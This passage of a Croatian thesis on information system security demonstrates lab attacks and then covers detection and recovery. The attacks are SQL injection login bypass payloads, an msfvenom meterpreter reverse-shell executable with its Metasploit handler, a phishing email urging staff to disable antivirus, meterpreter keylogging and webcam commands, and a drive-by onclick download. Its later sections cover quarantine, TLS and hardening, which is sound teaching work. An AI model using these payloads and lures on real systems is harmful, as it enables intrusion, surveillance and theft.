poznavanje SQL jezika ili alat kao Sto je SQLMap. Za potrebe testiranja ovog napada,
koristiti ¢e se AltoroMutual demonstrativna internet stranica, koja simulira stranicu za
internet bankarstvo te je specificno kreirana u svrhe testiranja SQL injection napada.

Stranica se nalazi na slijede¢em linku: https://demo.testfire.net/index.jsp.

Jednostavan primjer SQL injection napada je slijede¢i. Prilikom upisivanja korisnickog
imena ,,admin“ koji ima lozinku ,,admin123*, i dohvacdanja podataka iz baze, pokrece se
slijedeci upit prema bazi:

SELECT * FROM Users WHERE UserName ="admin“ AND Password

=“adminl23"“
Kéd 1.2 Kod za pretragu korisnickog imena

Znajuci to, moguce je upisati djelomi¢an SQL upit kao Sto je prikazano na slijedecoj slici.

AltoroMutual »

= ONLINE BANKING LOGIN PERSONAL SMALL BUSINESS

PERSONAL
« Deposit Product
« Checking
* Loan Products
+ Cards Usemame: |’ OR'1'='1 |
o Investments & Insurance
 Other Services

Online Banking Login

Password: ‘oooooo.oo.o ‘

SMALL BUSINESS ( Login |
o Deposit Products
« Lending Services
* Cards
« Insurance

 Retirement

« Other Services
Slika 13 SQL injection primjer 1

Upit ¢e unutar baze izgledati ovako.

SELECT * FROM users WHERE username = '' OR '1l'='l'"' AND
password = '' OR '1'="'1l"

Kod 1.3 Kod za SQL injection 1

S obzirom da je broj 1 uvijek jednak broju 1, napadac ¢e uspjesno pristupiti sustavu.
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@roMutual >

m MY ACCOUNT

l PERSONAL

SMALL BUSINESS

I WANT TO ...
« View Account Summary,
« View Recent Transactions
« Transfer Funds
« Search News Articles
« Customize Site Language

ADMINISTRATION
« Edit Users

Hello Admin User

Welcome to Altoro Mutual Online.

View Account Details:

Congratulations!

{800000 Corporate

VJ[ Go |

You have been pre-approved for an Altoro Gold Visa with a credit limit of $10000!

Click Here to apply.

Slika 14 SQL injection pristup racunu 1

Na isti nacin je moguce napraviti upit koji ignorira lozinku tako da sva polja korisnickog

imena, smatra kao komentar.

@rol\/\utual >

= ONLINE BANKING LOGIN

PERSONAL

SMALL BUSINESS

PERSONAL
« Deposit Product
« Checking
« Loan Products
« Cards
¢ Investments & Insurance
« Other Services

SMALL BUSINESS

Online Banking Login

Username: ljdoe' =

Password: I o

| Login

Slika 15 SQL injection primjer 2

S obzirom na to da je sve $to se nalazi iza znaka dvostruke crtice postalo komentar, nije

bitno $to se upisuje u polje za lozinku te ¢e upit svejedno uspjesno proci.
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AltoroMutual »

= MY ACCOUNT | PERSONAL SMALL BUSINESS

I WANT TO ...

Hello Jane Doe

« View Account Summary.

« View Recent Transactions
« Transfer Funds Welcome to Altoro Mutual Online.
« Search News Articles

« Customize Site Language View Account Details: ‘ 800004 Savings v ‘ E]

Congratulations!

You have been pre-approved for an Altoro Gold Visa with a credit limit of $10000!

Click Here to apply.

Slika 16 SQL injection pristup racunu 2

Upit je prosao i omogucen je pristup korisnickom racunu.

4.3. Napad malware-om

Napadi malware-om su napadi koji koriste neku od prethodno navedenih vrsta malicioznog
softvera kako bi dobili pristup nekom sustavu ili ga na neki nacin onesposobili. Za potrebe
rada kreirati ¢e se maliciozna Windows ,,.exe* datoteka pomocu ,,msfvenom* generatora,

koji je dio Metasploit alata za penetracijsko testiranje ranjivosti sustava.

-~
fvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.108.129 -f exe > /var/ww/html/update.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

Slika 17 Kreiranje malicioznog softvera

Datoteka je kreirana i postavljena u direktorij Apache web servera te podijeljena IP
adresom Kali Linux masine u 192.168.108.0/24 mrezi. Nakon §to se Apache web server
pokrene, bilo koje racunalo ¢e ju moci dohvatiti. Zatim je potrebno pokrenuti glavni

kontrolni sustav za Metasploit, naredbom "'msfconsole’.
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Metasploit

=[ metasploit v6.2.26-dev
+ —— --=[ 2264 exploits - 1189 auxiliary - 404 post
+ -— --=[ 951 payloads - 45 encoders - 11 nops
+ -—— --=[ 9 evasion

Metasploit tip: Adapter names can be used for IP params
set LHOST etho
Metasploit Documentation: https://docs.metasploit.com/

Slika 18 Metasploit kontrolna konzola

Slijede¢im komandama se pokre¢e TCP slusatelj, koji ¢e prisluskivati promet s prethodno

kreiranog malicioznog softvera.

msf6 > use multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD = windows/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 0.0.0.0

LHOST = 0.0.0.0
msf6 exploit( ) > exploit

Started reverse TCP handler on 0.0.0.0:4444

Slika 19 TCP slusatelj

Sve sto je sada potrebno kako bi napad uspio, je da Zrtva sa svojeg racunala pristupi linku

na koji je podijeljen maliciozni softver, te pokrene isti. Za potrebe ovoga rada, recimo da je
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napadac sa prethodno provaljenog racuna elektronicke poste administratora, Zrtvi poslao e-
postu koja sadrzava link za dohvacéanje malicioznog softvera sa slijedeCcom porukom.
Novi Windows update

To marko@testing.local on 2023-02-19 17:59

== Detalls o Headers

Pozdrav,

dosao je novi Windows update keojeg nekolicina ljudi u firmi nije mogla instalirati automatski zbog novih dodataka antivirusnim
sustavima.

Molim da svi skinete update rucno putem slijedeceg linka i pokrenete ga cim prije.

kako se radi o novim dodacima antivirusnom sustavu, molio bih da isti iskljucite prije pokretanja update-a kako vam ga nebi izbrisao
graskom,

Instalacija bi se trebala odraditi u pozadini pa nemojte zaboraviti ponovo ukljuciti antivirus nekih 38-ak minuta nakon pokretanja.

Update se nalazi na slijedecem linku; http://192.168,188,125/update axe

Lijep pozdrav,
Administrator

admingtesting. local

Slika 20 Lazni mail

Nakon isklju¢ivanja Windows Defender antivirusnog sustava te klika na link pocinje
skidanje malicioznog programa na Zrtvino racunalo.
170% ¥y ® O =

e update.exe
@ & = m x
Unknown time left — 72.1 of 72.1 KB (0 bytes/seq)

Delete Mark More

Show all downloads

Slika 21 Skidanje malicioznog softvera

Nakon $to je maliciozni softver dohvacen potrebno ga je pokrenuti.

User Account Control

Do you want to allow this app from an
unknown publisher to make changes to your
device?

update.exe

Publisher: Unknown
File origin: Hard drive on this computer

Show more details

. ()

Slika 22 Pokretanje malicioznog softvera
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Nakon pokretanja veza je uspijesno uspostavljena, §to je vidljivo slijedeCom porukom

unutar Metasploit alata.

Started reverse TCP handler on 0.0.0.0:4444
Sending stage (175686 bytes) to 192.168.108.10

Meterpreter session 2 opened (192.168.108.129:4444 — 192.168.108.10:64224) at 2023-02-19 21:04:58 -0500

Slika 23 Uspostavljanje konekcije

Kako napadac ne bi bio detektiran ili kako konekcija ne bi bila prekinuta nakon ponovnog
pokretanja antivirusa, potrebno je migrirati konekciju na drugi proces. Naredba 'ps'
dohvaca prikaz svih procesa na zrtvinom raCunalu, no proces koji je zasigurno uvijek
aktivan je ,,explorer.exe” te napadac migrira svoju konekciju s ,,update.exe” malicioznog
programa, na ,,explorer.exe®, svakodnevno aktivnog Windows procesa te se time prikriva u

zrtvinom sustavu.

meterpreter > migrate -N explorer.exe

Migrating from 4292 to 4924...
Migration completed successfully.

Slika 24 Migriranje procesa

Nakon §to je konekcija sada sigurno uspostavljena, napad je uspjeSan te se napadacu pruza
nekoliko moguénosti nakon iskoriStavanja napada unutar 'meterpreter' komandne linije.
Naredbom 'screenshot' moguce je dobiti sliku trenutacnog stanja zrtvinog ekrana te ju
pohraniti. Naredbama 'keyscan_start' i 'keyscan dump' moguce je biljeziti sav unos koji
Zrtva unosi putem tipkovnice i1 prikazati ga. Naredbama 'webcam list' 1 'webcam_snap'
moguce je Cak i prikazati popis kamera spojenih na racunalo, ukoliko takav postoji, te uzeti
1 pohraniti sliku kamerom. Za kraj naredbom ,shell“ moguce je pokrenuti Windows

Command Prompt na Zrtvinom rac¢unalu.
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meterpreter > shell
Process 6792 created.

Channel 3 created.
Microsoft Windows [Version 10.0.22621.1265]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32>cd C:\Users\Marko\Pictures\Screenshots
cd C:\Users\Marko\Pictures\Screenshots

C:\Users\Marko\Pictures\Screenshots>dir
dir

Volume in drive C is Windows

Volume Serial Number is 68DC-08D5

Directory of C:\Users\Marko\Pictures\Screenshots

02/19/2023 06:20 PM <DIR>

02/19/2023 06:20 PM <DIR> -

02/19/2023 ©02:34 PM 37,953 Screenshot_20230219_023408.png
1 File(s) 37,953 bytes
2 Dir(s) 86,547,402,752 bytes free

C:\Users\Marko\Pictures\Screenshots>|]

Slika 25 Primjer pristupa zrtvinom racunalu

Time bi se ovaj napad mogao daljnje iskoristiti, kako bi se ostvarila potpuna kontrola nad

zrtvinim racunalom.

4.4. Drive-by napad

Drive-by napad je vrsta napada kroz koju Zrtva dohvati maliciozan softver bez da sama to
zna. Razlikuju se dvije vrste navedenog napada, bez autorizacije i s autorizacijom. Napad
bez autorizacije odnosi se na onaj koji ne ukljuuje nikakvu interakciju od strane zrtve.
Samim posje¢ivanjem internet stranice, zrtvino ra¢unalo postaje meta napada na nacin da
napada¢ modificira programski kod internet stranice, koji identificira ranjivosti u Zrtvinoj
trazilici ili racunalu te iskoriStavanjem tih ranjivosti, Salje maliciozan softver na Zrtvino
racunalo. Drive-by napad s autorizacijom, ukljucuje interakciju Zrtve, no ona i dalje nije
svjesna da je podlozna napadu. Takav napad se ostvaruje klikom gumba na dio internet
stranice, klikom na prozor¢i¢ s reklamama internet stranice, klikom na zatvaranje
prozor¢i¢a za spremanje kolaci¢a i slino. Time Zrtva ne znaju¢i dohvaca maliciozan

softver na svoje racunalo.

U ovome prakticnom primjeru koristiti ¢e se napad s autorizacijom, gdje zrtva posjecuje

internet stranicu koja se ¢ini ispravnom, no interakcija s odredenim dijelovima dohvaca
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maliciozan softver na njeno rac¢unalo te je sli¢an prethodno objasnjenom napadu malware-

om.

Prvi korak je postaviti laznu internet stranicu putem Kali Linux virtualne masine. Za
potrebe ovog rada, koristiti ¢e se besplatan gotovi template za izradu interaktivne stranice
agencije za putovanja, napravljen pomocu Bootstrap 5, HTMLS5 i CSS3 te preuzet sa
stranice ,,themewagon.com®. Stranica je podignuta pomoc¢u Apache web servera te izgleda

kao normalna 1 bezopasna internet stranica.

O B 192.168.108.129/tour-1.0.0/2daterange=02%2F20%2F2023 + - +02%2F20%2F2023 B % ¥

Let's Enjoy Your
Trip In New Zealand.

Destination B 02/20/2023 - 02/20/2023 # of People

SRR

Our Services

Beautiful Condo Easy to Connect

Even the ail-powerful Pointing has no Even the all-powerful Pointing has no
control about the biind texts. control about the biind texts.

joi 3

Restaurants & Cafe 24/7 Support

Slika 26 Maliciozna stranica

Pri dnu stranice nalazi se videozapis, koji prikazuje nekoliko visoko traZenih destinacija za
putovanja. Ukoliko pomocu developer alata, napadac¢ napravi inspekciju nad gumbom za

reprodukciju tog videozapisa, moze vidjeti tocno koja linija koda pokrece isti.
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Take a look at Tour Video

Fart

B

ance {3 Memory [ Storage T Accessibility 852 Application

Slika 27 Inspekcija gumba za reprodukciju videozapisa

Time je napadac saznao koji element je zaduzen za reprodukciju videozapisa. Ukoliko
napadac¢ uredi ,,index.html* datoteku, unutar koje se nalazi struktura internet stranice, moze

ubaciti maliciozan kod unutar elementa, koji sluzi za reprodukciju videozapisa.

ali@kali: jvar/wwwhtml
File Actions Edit View Help
tour-1.0.0/index.html *

"window.open('travel.exe"

Slika 28 Ubacivanje malicioznog koda

Pomocu ,,onclick parametra ubacenog u prikazani element, klikom na gumb =za
reprodukciju videozapisa, osim same reprodukcije videozapisa, zapoceti ¢e i prijenos
maliciozne datoteke ,travel.exe* na zrtvino raunalo. Datoteka mora biti postavljena u isti
direktorij unutar kojega se nalazi 1 ,,index.html* datoteka, osim ako unutar malicioznog
koda nije navedena puna putanja do maliciozne datoteke. Nakon §to zrtva pristupi internet
stranici 1 pokrene video, u pozadini ¢e zapoceti prijenos maliciozne datoteke na Zrtvino

rac¢unalo.
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O B 192168.108.129/t00 aterange=02% F +-4 2 B s ¢ © &

Slika 29 Prijenos maliciozne datoteke na Zrtvino ra¢unalo

Unato¢ tome S§to je maliciozna datoteka uspjesSno prenijeta na zrtvino racunalo, datoteka
ovog tipa zahtjeva rucno pokretanje, kao u prethodnom slucaju napada malware-om te se
0v0o ne moze nazvati pravim drive-by napadom. Kako bi se ostvario potpuni ,,drive-by
download** napad, potrebno je napraviti prijenos malicioznog softvera na zrtvino ra¢unalo
bez ikakvog vidljivog indikatora prijenosa istog te moguénost da se nakon prijenosa,
maliciozni softver pokrene sam od sebe, bez ikakve interakcije od strane zrtve. S obzirom
na to da su internet pretrazivac¢i danas poprilicno razvijeni sa sigurnosnog aspekta te
antivirusna rjeSenja uvelike pokrivaju i obranu od malicioznih internet stranica, takav
napad je danas vrlo tezak za izvesti te zahtjeva dobro poznavanje programskih jezika za
izradu internet stranica, kao i najnovijih ranjivosti koje se mogu pronaci kako u samim
internet stranicama, tako i internet pretraziva¢ima. Za potrebe ovoga rada je stoga prikazan
simplificirani pristup ovome napadu, kako bi se unato€ restrikcijama kompleksnosti samog
napada, ipak doslo do adekvatnog objasnjenja funkcionalnosti ovoga napada te prikazao

kontekst mogucih posljedica podlozenosti istom.
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5. Detekcija kompromitiranosti sustava

Detekcija kompromitiranosti sustava ostvaruje se nakon §to zrtva primijeti abnormalno
ponasanje ili promjene u radu pojedinih komponenti unutar informacijskog sustava. S
obzirom na to da je prikazani informacijski sustav postavljen s minimalnim sigurnosnim
mjerama, ne postoji nikakva komponenta za automatsku detekciju prijetnji sustavu, osim
antivirusnog softvera, koji je kroz prikaz napada malware-om bio iskljuen na odredeni
period te nije ispunjavao svoju svrhu detekcije prijetnji. Detekcija prijetnji provesti ¢e se sa
glediSta administratora koji ¢e se fokusirati na promjene u informacijskom sustavu. Iz
perspektive zrtve, znakovi kompromitiranosti sustava su sumnjive poruke elektronicke
poste, poslane putem adrese administratora sustava, koje navode na instalaciju programa
koji naizgled ne prikazuje azuriranje softvera te zahtjeva gaSenje antivirusnog sustava, kao
1 preuzimanje sumnjivog programa nakon posjecivanja stranice koja na prvi pogled izgleda
sasvim legitimno. Nakon Sto administrator sustava dobije informacije o navedenim

sumnjama, pokrece postupak detekcije kompromitiranosti sustava.
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6. Oporavak od incidenta

Nakon prikupljanja informacija o neprimjerenim promjenama na sustavu, na
administratoru je da zapo¢ne razmatrati moguce uzroke tih promjena te razradi rjeSenje u
svrthu uklanjanja malicioznih prijetnji te potpunog oporavka usluge u njeno prvobitno
stanje. Nacionalni institut za standarde i tehnologiju (NIST), agencija SAD-a zaduZena za
pruzanje smjernica koje pomazu organizacijama da dosegnu odredene standarde sigurnosti
1 privatnosti, je uspostavila metodologiju upravljanja i smanjenja opasnosti od sigurnosnih
rizika, pod imenom ,, NIST Cybersecurity Framework ‘. Navedena metodologija pomaze
organizacijama da zapoc¢nu proaktivno upravljati sigurnosnim rizicima te se sastoji od tri
glavne komponente: srediSnjeg dijela metodologije, razina implementacije te profila
metodologije. Sredi$nji dio, odnosno jezgra metodologije je skup od pet koraka pomocu
kojih organizacija nastoji pojacati razinu otpornosti na rizik. Razine implementacije su
mjerilo prema kojem organizacija sagledava sigurnosne rizike te vlastitih politika
upravljanja istima, u sklopu dostizanja standarda politika opisanih ovom metodologijom.
Profil metodologije predstavlja moguce ishode implementacije metodologije na temelju
potreba, resursa i mogucnosti organizacije. Pet koraka ili funkcija implementacije ove

metodologije su identifikacija, zastita, detekcija, odgovor 1 oporavak.

Funkcija identifikacije zahtjeva procjenu kriticnih resursa organizacije te mogucih
sigurnosnih rizika. Njena svrha je sakupljanje informacija o trenutnim politikama o

upravljanju rizicima, kriticnih resursa te sigurnosnih moguénosti.

Funkcija zaStite odnosi se na definiranje potrebnih obrambenih mehanizama koji ¢e
osigurati kriti¢ne infrastrukturne usluge. Njena svrha je prioritiziranje sigurnosti kriti¢nih

sustava i minimizaciju uc¢inaka incidenata.

Funkcija detekcije zahtjeva da organizacija ima uspostavljen sustav za pracenje i detekciju

prijetnji kako bi se sigurnosni incident §to prije identificirao.

Funkcija odgovora odnosi se na razvijanje sigurnosnih mjera protiv incidenata, kako bi se

pojacala moguénost organizacije da reagira na iste.
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Funkcija oporavka odnosi se na razvijanje i implementaciju mjera koje ¢e povratiti sve
usluge organizacije u njihovo funkcionalno stanje, ukoliko incident uzrokuje kvar ili

prestanak rada istih.

6.1. Analiza promjena u sustavu

Prva naznaka da je sustav kompromitiran, jest poruka elektronicke poste poslana na adresu
zrtve s korisnickog racuna administratora sustava.
Novi Windows update &

To marko@testing.local on 2023-02-19 17:59
& Detalls @) Headers

Pazdrav,

dosac je movi Windows update kojeg nekolicina ljudi u firmi nije mogla instalirati sutomatski zbog novih dodataka antivirusnim
sustavima.

Molim da svi skinete update rucno putem slijedeceg linka i pokrenete ga cim prije.

Kako se radi o novim dodacima antivirusnom sustavu, molio bih da isti iskljucite prije pokretanja update-a kako vam ga nebi izbrisao
greskom.

Instalacija bi se trebala odraditi u pozadini pa nemojte zaboraviti ponovo ukljuciti antivirus nekih 3@-ak minuta nakon pokretanja.
Update se nalazi na slijedecem linku: http

Lijep pozdrav,
Administrator

Slika 30 Lazna poruka elektronicke poste

Iako poruka stize s adrese racuna administratora te je sadrzaj poSte na prvi pogled
primjeren poslovnoj komunikaciji, koja bi se mogla pronaci u internim porukama jedne
organizacije, detaljnijim pregledom poruke postoje tri uocljive sumnje u njen kredibilitet.
,Microsoft Windows Defender* antivirusni sustav provodi svoja azuriranja automatski uz
azuriranja Windows operativnog sustava te nema povoda za ru¢nom instalacijom svojih
azuriranja. Takoder, broj legitimnih programa ili azuriranja za ¢iju je instalaciju potrebno
iskljuCenje antivirusnog sustava, nije velik te ¢ak i ukoliko je tako neSto potrebno, mala je
vjerojatnost da bi administrator informacijskog sustava ostavio takvu proceduru u rukama
korisnika sustava te se takvi osjetljivi pothvati uvelike rjeSavaju od strane ili uz nadzor
samog administratora. Za kraj, najsumnjiviji element navedene poruke je link za
preuzimanje navodnog azuriranja. Link se sastoji od IP adrese koja je krajnjem korisniku
sasvim nepoznata te iako se navodno azuriranje odnosi na Microsoft proizvod, domena

navedenog proizvodaca nije prisutna u samom linku. Takoder, prvim pogledom na link je
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vidljivo kako koristi HTTP protokol te samim time nije garantirano da vodi na siguran
sadrzaj. Nakon pokusSaja pokretanja navodnog azuriranja, zrtvi je prikazan upit o potvrdi
pokretanja azuriranja unutar kojega je prikazan naziv proizvodaca softvera. Ukoliko se
zaista radi o legitimnom azuriranju, u ovome slucaju bi proizvodac trebao biti Microsoft,
no vidljivo je kako je proizvodac nepoznat, Sto dodatno potkrepljuje pretpostavku da se ne
radi o legitimnom azuriranju softvera te je gotovo sigurno da je u pitanju maliciozan
program. Time je ne samo utvrdeno da je kompromitirana radna stanica na kojoj je

program pokrenut, ve¢ 1 korisnicki racun elektroni¢ke poste administratora sustava.

S obzirom na to da SQL injection napad nije demonstriran na lokalnoj stranici, ve¢ na
demonstrativnoj internet stranici koja sluzi za testiranje napada, nije moguce napraviti
adekvatan prikaz detekcije napada, no niti u slucaju da se radi o lokalnoj stranici unutar
predmetnog informacijskog sustava, detekcija samog napada ne bi bila moguca. Za
detekciju SQL injection napada, potrebno je imati implementiran sustav za nadgledanje
SQL baza, sustav za detekciju i prevenciju provala ili neko sli¢no rjeSenje. lako prakti¢ni
prikaz analize ove vrste napada nije mogu¢ na predmetnoj okolini, u poglavlju o uvodenju
novih sigurnosnih kontrola, biti ¢e navedeno nekoliko mogucih rjeSenja za buduce

sprjeCavanje SQL injection napada.

Drive-by napad je demonstriran pomoc¢u lazne internet stranice za rezervaciju putovanja,
koja se na prvi pogled od strane krajnjeg korisnika, moze uciniti sasvim legitimnom. Kako
stranica ipak pokazuje znakove preuzimanja neke vrste datoteke, nakon odabira na
pokretanje reprodukcije informativnog videozapisa, potrebno je sagledati stranicu s
odredenom razinom sumnje u njenu legitimnost. Odmah uocljiv element stranice koji bi

trebao navesti na zakljucak da stranica nije sigurna, je sama adresa iste.

O 8 192.168.108.129

Slika 31 Adresa nesigurne internet stranice

Adresa internet stranice, ne samo da se sastoji od nepoznate IP adrese, ve¢ je vidljivo 1
kako koristi HTTP protokol 1 nije osigurana valjanim certifikatom te samim time se ne
moze smatrati sigurnom. lako stranica na prvi pogled sadrzi interaktivne elemente,
odabirom na njih stranica se samo osvjezi te ne odraduje funkcije koje bi posjetioc stranice
ocekivao kada odabere neku od ponudenih opcija. Jedina funkcionalna radnja koja se
uspjesno izvrSava kao posljedica interakcije s jednim od elemenata internet stranice, jest

reprodukcija videozapisa, koji uz svoje pokretanje povlac¢i preuzimanje sumnjive datoteke.
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Datoteka o kojoj je rije¢ ima jednostavan naziv ,travel.exe™ te kako je njeno preuzimanje
uzrokovano posjecivanjem ve¢ dovoljno sumnjive internet stranice, moze se pretpostaviti

da se radi o malicioznom softveru.

6.2. Uklanjanje malicioznih programa

Nakon analize promjena u sustavu, uoceno je da su posjecivanjem nepouzdanih adresa
putem interneta, preuzeti maliciozni programi ¢ija je svrha krada podataka, neautorizirani
pristup sustavu ili nanoSenje Stete sustavu. S obzirom na to da funkcionalnosti datoteka
nisu poznate, te je moguce da su kompromitirale sustav i bez pokretanja, nije dovoljno
samo ih izbrisati, ve¢ 1 potpuno ukloniti njihove moguce ostatke sa sustava, $to je jedna od
primarnih funkcija antivirusnih programa. Ponovnim pokretanjem Windows Defender

antivirusnog sustava, moguce je napraviti skeniranje sustava pritom traze¢i prijetnje.

o Current threats

Quick scan running...
Estimated time remaining: 00:00:29
3150 files scanned

Cancel

Feel free to keep working while we scan your device.

Protection history

Slika 32 Skeniranje prijetnji

Antivirus je mogao i sam pronaci prijetnju nakon nekog vremena, jer provodi periodicko
skeniranje sustava te provjerava svaku datoteku koja se pohrani na sustav, no ru¢nim
pokretanjem skeniranja je proces pronalaska prijetnje ubrzan. Nakon Sto je skeniranje

zavrSeno, sustav javlja kako je prijetnja pronadena.
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@ Windows Security
Windows Security

Threats found
Microsoft Defender Antivirus found threats. Get
details.

Dismiss

Slika 33 Pronalazak prijetnje

Nakon Sto je prijetnja detektirana, sustav ¢e analizirati malicioznu datoteku te ovisno o
razini opasnosti prijetnje, premjestiti istu u novi direktorij unutar kojega nece imati
mogucnost naskoditi sustavu. U tom direktoriju datoteka je odredeni period u statusu
karantene, nakon cega ¢e biti automatski uklonjena iz sustava, no za vrijeme trajanja
karantene, moguce je oznaciti datoteku kao sigurnom, ukoliko je se zeli zadrzati na sustavu
1 sprijeciti da ju antivirus i dalje tretira kao prijetnju ili ru¢no izbrisati.

Threat quarantined
2/22/2023 8:36 AM

Severe ™

Detected: Trojan'Win32/Meterpreter.O

Status: Quarantined

Quarantined files are in a restricted area wheare they can't harm your device. They
will be removed automatically.

Date: 2/22/2023 8:36 AM
Details: This program is dangerous and executes commands from an attacker.

Affected items:

file: C\UsersiUser\Downloads\update.exe

Learn more

Actions

Slika 34 Stavljanje prijetnje u karantenu

S obzirom na to da je antivirusni sustav detektirao kako se radi o trojanskom konju,
prijetnja se uklanja iz informacijskog sustava te je logi¢an zaklju¢ak da je isti
kompromitiran te ¢e se u kasnijem poglavlju rada uvesti nove sigurnosne kontrole kako bi

se ovaj incident sprijecio u buduénosti.
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6.3. Oporavak usluga

Kako je glavni posrednik u preuzimanju maliciozne datoteke, prikazane u man-in-the-
middle napadu bio kompromitirani racun elektroni¢ke poSte administratora, logi¢an
zakljucak je da niti ostatak korisnic¢kih racuna nije ostalo netaknuto prilikom napada. Kako
bi se sprijeCio daljnji pristup korisnickim racunima te uzrokovala dodatna Steta sustavu
putem zlonamjernih poruka elektronicke poste, najprije je potrebno promijeniti lozinke
korisnickih racuna. lako lozinke korisnickih racuna vise nece biti iste, to ne garantira da
napada¢ nece ponoviti napad kojim je i prvi put dosao do istih. Kako bi se ponavljanje
ovog incidenta sprijecilo, potrebno je analizirati slabosti sustava zaduzenog za dostavu
elektronicke poSte te mreze informacijskog sustava, s obzirom na to da se stranica
posluzuje putem privatne adrese. Prvim pogledom na internet stranicu za pristup
Roundcube klijentu, moguce je uociti kako adresa putem kojem se pristupa raCunima
elektronicke poste, koristi HTTP protokol te samim time nije osigurana valjanim

certifikatom i1 moze biti podlozna napadima, kao §to je u predmetu ovoga rada i prikazano.

@ | Roundeubew Vebmail : W Velcorr X - v - O x

« (¢} O & 192168.10820 7% ¥ @ 8 =

S

admin@testing.local

Roundcube Webmail

Slika 35 Nesigurna internet stranica

Kako bi stranica postala sigurna te se usluga primanja i dostavljanja elektronicke poSte
potpuno oporavila od napada, potrebno je postaviti SSL/TLS sigurnosni certifikat, koji ¢e
omoguciti da se stranica objavi putem HTTPS protokola te tako postane sigurnijom.
Postupak postavljanja SSL certifikata i osiguravanja navedene internet stranice, opisan je u

poglavlju o uvodenju novih sigurnosnih kontrola.
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7. Implementacija novih sigurnosnih kontrola

U prethodnom poglavlju opisan je postupak eliminacije malicioznih programa i popravka
Stete unutar informacijskog sustava, uzrokovane malicioznim napadom. Unato¢ tome §to je
sustav sada oporavljen od napada, ne znaci da se isti ne moze ponoviti te je potrebno
implementirati bolje sigurnosne kontrole koje ¢e ne samo omoguciti brzu reakciju na
napade, nego i sprijeCiti veéinu poznatih napada te minimizirati buduce sigurnosne

incidente.

7.1. Uvodenje novih sigurnosnih kontrola

Prvi od napada testiranih kroz ovaj rad, bio je man-in-the-middle napad, kojeg su
omogucili javna bezicna mreza, putem koje je napadac¢ dobio pristup informacijskom
sustavu, ne osigurana internet stranica pomocu koje se pristupa Roundcube klijentu za
primanje 1 slanje elektroni¢ke poSte te propust Zrtve da uspije prepoznati socijalni

inzinjering, koji je uzrokovao prijenos maliciozne datoteke na Zrtvino racunalo.

Za potrebe osiguravanja internet stranice putem HTTPS protokola, u pravom
informacijskom sustavu, bila bi zakupljena domena te pripadaju¢i SSL certifikat, no kako
se za potrebe ovog rada koristi lokalno virtualno okruzenje, biti ¢e kreiran SSL certifikat
potpisan od strane samog sebe. Prvi korak je pomocu slijede¢ih naredbi, na Ubuntu serveru
omoguciti ,,mod ssl modul, koji ¢e omoguciti Apache internet serveru da koristi SSL
enkripciju.

sudo a2enmod ssl

sudo systemctl restart apache?

Kod 2.1 Kod za omoguéavanje mod_ssl modula

Nakon toga se kreira TLS certifikat.

sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 /
-keyout /etc/ssl/private/apache-selfsigned.key /

-out /etc/ssl/certs/apache-selfsigned.crt
Kod 2.2 Kod za kreiranje TLS certifikata
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Nakon popunjavanja informacija o certifikatu, kao S§to su regionalni podaci, ime
organizacije, FQDN te mail adresa, kreiraju se certifikat i privatni klju¢. Sada kada je
certifikat kreiran, potrebno je urediti konfiguraciju internet stranice kojom se pristupa
Roundcube klijentu, dodavanjem parametara za HTTPS protokol unutar kojih se
specificiraju putanje do novokreiranog certifikata i privatnog kljuca te redirekcije HTTP

protokola na HTTPS.

GNU nano 6.2
<VirtualHost x:80>

/etc/apache2/sites-enabled/roundcube. conf s

ServerName mail.testing. local
Redirect /

</VirtualHost>

JUalHost x:443

Sery dmin m te : g.local
DocumentRoot /v www/html/roundcubes

Engine on
tificateFile /etc/ss B nache-selfsignec
~tificateKkeyFile / ‘pr /

Slika 36 Konfiguracija HTTPS

Nakon Sto je stranica postavljena da koristi HTTPS protokol, potrebno je provjeriti te
primijeniti konfiguraciju slijede¢im naredbama.

sudo aZensite roundcube.conf
sudo apache2ctl configtest

sudo systemctl reload apache?2
Kod 2.3 Kod za primjenu Apache konfiguracije

Nakon $to je HTTPS protokol konfiguriran, ponovnim ucitavanjem stranice je moguce

vidjeti kako sada koristi HTTPS protokol te je time stranica osigurana.
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Slika 37 Osigurana internet stranica

Paketi koji se Salju putem mreze te koriste HTTPS protokol, dovoljno su osigurani da se
njihov sadrzaj ne moze analizirati kao Sto je to prikazano u man-in-the-middle napadu te

isti nece biti moguce napraviti u buducénosti.

Cinjenica da je bezi¢na mreZa putem koje je napadag pristupio sustavu javna, oznacava da
mreza time nije sigurna. Poslovna mreza ¢ija funkcija nije samo dopustanje uredajima koji
su na nju spojeni pristup internetu, ve¢ omogucava pristup informacijskom sustavu, koji je
kljucan za poslovanje jedne organizacije. Iz tog razloga mreza se mora prebaciti na
privatan nacin rada te osigurati jednim od protokola za enkripciju bezicnih mreza, kao Sto

je WPA3 protokol.

S obzirom na to da su dva napada prikazana u ovome radu koristili neku vrstu malicioznog
softvera, dobra preventivna mjera protiv istih je pojacati mogucnosti antivirusnog sustava.
Iako je Windows Defender Antivirus danas veoma mocan sustav koji ima sposobnost
detektirati veliki raspon malicioznih programa te brzo i efikasno ih eliminirati, postoje
brojna antivirusna rjesenja koja dolaze s ve¢im brojem funkcionalnosti te ¢e instalacija
jednog od njih biti dodatna mjera obrane unutar ovog sustava. ,,Kaspersky Internet
Security* je skup alata koji pruza informacijskom sustavu zaZztitu od virusa, phishing
napada, posje¢ivanja nesigurnih stranica, optimizaciju performansi uredaja, VPN, ¢uvanje
lozinki, URL filtriranje i ostale funkcije koje ¢e zrtvinom racunalu omoguditi dodatnu
zastitu protiv buduc¢ih napada. Ve¢ pri samoj instalaciji, alat nudi moguénost ukljucivanja

dodatnih opcija za sprijeCavanje nesigurnih instalacija, automatsko brisanje sumnjivih i
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malicioznih softvera te detekciju dodatnih softvera koji mogu se mogu iskoristiti u

zlo¢udne svrhe.

a Kaspersky Internet Security

Recommended

Accept the recommended settings for a comfortable start with the application.

Turn on protection against ads to install only desired software and block additional installations

Delete malicious tools, adware, auto-dialers and suspicious packers

Detect other software that can be used by criminals to damage your computer or personal data

Slika 38 Kaspersky instalacija

Kaspersky takoder ima ugradenu funkciju za pracenje svih aktivnosti na mrezi te moze

